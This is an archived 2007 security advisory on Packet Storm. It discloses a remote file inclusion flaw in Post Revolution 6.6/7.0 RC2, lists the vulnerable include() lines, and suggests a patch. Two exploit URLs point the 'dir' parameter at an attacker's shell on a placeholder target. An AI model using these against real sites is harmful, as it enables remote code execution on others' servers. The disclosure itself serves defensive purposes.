what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

postrev-rfi.txt

postrev-rfi.txt
Posted Apr 24, 2007
Authored by InyeXion | Site inyexion.com.ar

Post Revolution versions 6.6 and 7.0 RC2 are susceptible to a remote file inclusion vulnerability.

tags | exploit, remote, code execution, file inclusion
SHA-256 | d3a9d58c2219d1f734f52137fd3a9ce61a8bc118cfc5662588fc3added384de7

postrev-rfi.txt

Change Mirror Download
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Post Revolution Remote File Inclusion
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected Software .: Post Revolution 6.6 / 7.0 Release Candidate 2
Download..: http://www.fabio.com.ar/postrev/
Risk ..............: high
Date .........: 25/3/2007
Found by ..........: InyeXion
Contact ...........: InyeXion[at]gmail.com
Web .............: Www.InyeXion.com.ar
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected File:
/common.php
/themes/default/preview_post_completo.php

Vulnerable Code:

/common.php

Line [10] include ($dir."themes/".$config_data["template"]."/encabezado.php");
Line [16] include ($dir."themes/".$config_data["template"]."/cuerpo.php");
Line [22] include ($dir."themes/".$config_data["template"]."/pie.php");
Line [37] include ($dir."themes/".$config_data["template"]."/menu_principal.php");
Line [49] include ($dir."themes/".$config_data["template"]."/error.php");
Line [129] include ($dir."themes/".$config_data["template"]."/login_form.php");
Line [135] include ($dir."themes/".$config_data["template"]."/logout.php");
Line [174] include ($dir."language/".$config_data["lang"].".php");
Line [272] include ($dir."language/".$config_data["lang"].".php");
Line [282] include ($dir."themes/".$config_data["template"]."/seccion.php");
Line [360] include ($dir."language/".$config_data["lang"].".php");
Line [446] include ($dir."themes/".$config_data["template"]."/post.php");
Line [460] include ($dir."language/".$config_data["lang"].".php");
Line [543] include ($dir."themes/".$config_data["template"]."/archivo_noticias.php");
Line [549] include ($dir."themes/".$config_data["template"]."/cuerpo_archivo.php");
Line [570] include ($dir."language/".$config_data["lang"].".php");
Line [628] include ($dir."themes/".$config_data["template"]."/post_completo.php");
Line [641] include ($dir."language/".$config_data["lang"].".php");
Line [661] include ($dir."language/".$config_data["lang"].".php");
Line [680] include ($dir."themes/".$config_data["template"]."/posts_usuario.php");
Line [692] include ($dir."language/".$config_data["lang"].".php");
Line [715] include ($dir."themes/".$config_data["template"]."/comment_encabezado.php");
Line [750] include ($dir."themes/".$config_data["template"]."/comment.php");
Line [770] include ($dir."themes/".$config_data["template"]."/comment_form.php");
Line [776] include ($dir."themes/".$config_data["template"]."/info.php");
Line [782] include ($dir."themes/".$config_data["template"]."/info.php");
Line [1054] include ($dir."language/".$config_data["lang"].".php");
Line [1106] include ($dir."themes/".$config_data["template"]."/encuesta_head.php");
Line [1124] include ($dir."themes/".$config_data["template"]."/encuesta_opc.php");
Line [1128] include ($dir."themes/".$config_data["template"]."/encuesta_pie.php");
Line [1159] include ($dir."themes/".$config_data["template"]."/encuesta_head_ver.php");
Line [1180] include ($dir."themes/".$config_data["template"]."/encuesta_opc_ver.php");
Line [1183] include ($dir."themes/".$config_data["template"]."/encuesta_pie_ver.php");
Line [1231] include ($dir."themes/".$config_data["template"]."/encuestas_anteriores.php");
Line [1242] include ($dir."themes/".$config_data["template"]."/tagmenu.php");
Line [1297] include ($dir."themes/".$config_data["template"]."/tagpost.php");
Line [1310] include ($dir."language/".$config_data["lang"].".php");
Line [1482] include ($dir."language/".$config_data["lang"].".php");
Line [1506] include ($dir."themes/".$config_data["template"]."/categoria_enlace.php");
Line [1521] include ($dir."themes/".$config_data["template"]."/enlacefila.php");
Line [1570] include ($dir."config.php");
Line [1676] include ($dir."language/".$config_data["lang"].".php");
Line [1678] include ($dir."themes/".$config_data["template"]."/buscar.php");
Line [1685] include ($dir."language/".$config_data["lang"].".php");
Line [1723] include ($dir."themes/".$config_data["template"]."/resultado.php");
Line [1730] include ($dir."language/".$config_data["lang"].".php");
Line [1766] include ($dir."themes/".$config_data["template"]."/busq-dato.php");
Line [1772] include ($dir."themes/".$config_data["template"]."/busq-resultado.php");
Line [1778] include ($dir."themes/".$config_data["template"]."/busq-resultado.php");
Line [1790] include ($dir."language/".$config_data["lang"].".php");
Line [1813] include ($dir."themes/".$config_data["template"]."/categoria_descarga.php");
Line [1834] include ($dir."themes/".$config_data["template"]."/descargafila.php");
Line [1875] include ($dir."language/".$config_data["lang"].".php");
Line [1892] include ($dir."language/".$config_data["lang"].".php");
Line [1908] include ($dir."language/".$config_data["lang"].".php");
Line [1924] include ($dir."language/".$config_data["lang"].".php");
Line [2061] include ($dir."include/anti-spam.php");


/themes/default/preview_post_completo.php

Line [3] include ($dir."themes/".$config_data["template"]."/post_completo.php");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit:

http://[target]/common.php?dir=Shell
http://[target]/themes/default/preview_post_completo.php?dir=Shell
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Fixed bug:

/common.php and /themes/default/preview_post_completo.php insert

if((isset($_REQUEST['dir']) || isset($_GET['dir']) || isset($_POST['dir'])) && !defined("dir")){
die("Fixed bug by InyeXion.");
}

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close